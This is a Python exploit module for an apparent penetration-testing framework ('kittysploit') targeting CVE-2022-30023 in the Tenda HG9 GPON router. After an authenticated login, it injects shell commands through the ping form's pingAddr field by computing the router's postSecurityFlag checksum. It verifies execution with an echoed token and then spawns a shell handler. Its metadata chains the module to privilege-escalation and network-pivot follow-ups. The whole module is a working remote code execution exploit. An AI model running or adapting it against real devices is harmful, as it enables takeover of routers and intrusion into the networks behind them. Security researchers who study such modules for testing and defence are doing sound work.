Tenda HG9 Router auth RCE

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_login import Http_login
from lib.exploit.handler import Handler
from urllib.parse import urlencode, quote_plus
import re

class Module(Exploit, Http_client, Http_login, Handler):
        

    __info__ = {
        'name': "Tenda HG9 Router auth RCE",
        'description': "Tenda ONT GPON AC1200 Dual band WiFi HG9 v1.0.1 is vulnerable to Command Injection via the Ping function.",
        'cve': '2022-30023',
        'platform': Platform.LINUX,
        'payload': {
            'default': 'nopayload',
            },
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires':             {'min_endpoints': 0,
             'min_params': 0,
             'tech_hints_any': [],
             'tech_hints_all': [],
             'specializations_any': [],
             'risk_signals_any': [],
             'auth_session': False,
             'capabilities_any': [],
             'capabilities_all': [],
             'confidence_min': {},
             'confidence_min_any': {},
             'endpoint_pattern_any': [],
             'param_any': [],
             'api_surface_ready': False},
            'chain':             {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                       {'capability': 'shell', 'from_detail': ''}],
             'consumes_capabilities': [],
             'option_bindings': {},
             'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                     'post/shell/multi/manage/pivot_autoroute']},
        },
        }	

    def hash(self, inputVal):
        i = 0
        csum = 0

        while i < len(inputVal):
            if (i+4) > len(inputVal):
                if i < len(inputVal):
                    csum += (ord(inputVal[i]) << 24)
                if (i+1) < len(inputVal):
                    csum += (ord(inputVal[i+1]) << 16)
                if (i+2) < len(inputVal):
                    csum += (ord(inputVal[i+2]) << 8)
                break

            else:
                csum += (ord(inputVal[i]) << 24) + (ord(inputVal[i+1]) << 16) + (ord(inputVal[i+2]) << 8) + (ord(inputVal[i+3]))
                i += 4

        csum = (csum & 0xffff) + (csum >> 16)
        csum = csum&0xffff
        csum = (~csum)&0xffff

        return inputVal + "postSecurityFlag=" + str(csum)

    def execute(self, cmd):

        payload = {'pingAddr': f';{cmd}', 'wanif':'65535', 'submit-url': '%2Fping.asp'}
        result = urlencode(payload, quote_via=quote_plus)
        result += "&"
        csum = self.hash(result)
        
        pwn = self.http_request(
                        method="POST",
                        data=csum,
                        session = True
        )
        if pwn:
            output = re.findall(r"<body><pre>(.*)<form><input type=button value=", pwn.text, re.DOTALL)[0]
            return output
        return "No result"

    def check_execute(self):
        
        token = self.random_text(10)
        r = self.execute(f"echo {token}")
        if token in r:
            return True
        return False

    def login(self):
        data = self.hash(f"username={self.username}&password={self.password}&save=Login&submit-url=%2Fadmin%2Flogin.asp&")
        r = self.http_request(
                        method="POST",
                        data=data,
                        session = True
        )
        if "BroadBand Device Webserver" in r.text:
            self.login_success()
            return True
        else:
            self.login_failed()
            return False
        
    def run(self):
        login = self.login()
        if login:
            if self.check_execute():
                self.handler_execute()
            else:
                self.not_vulnerable()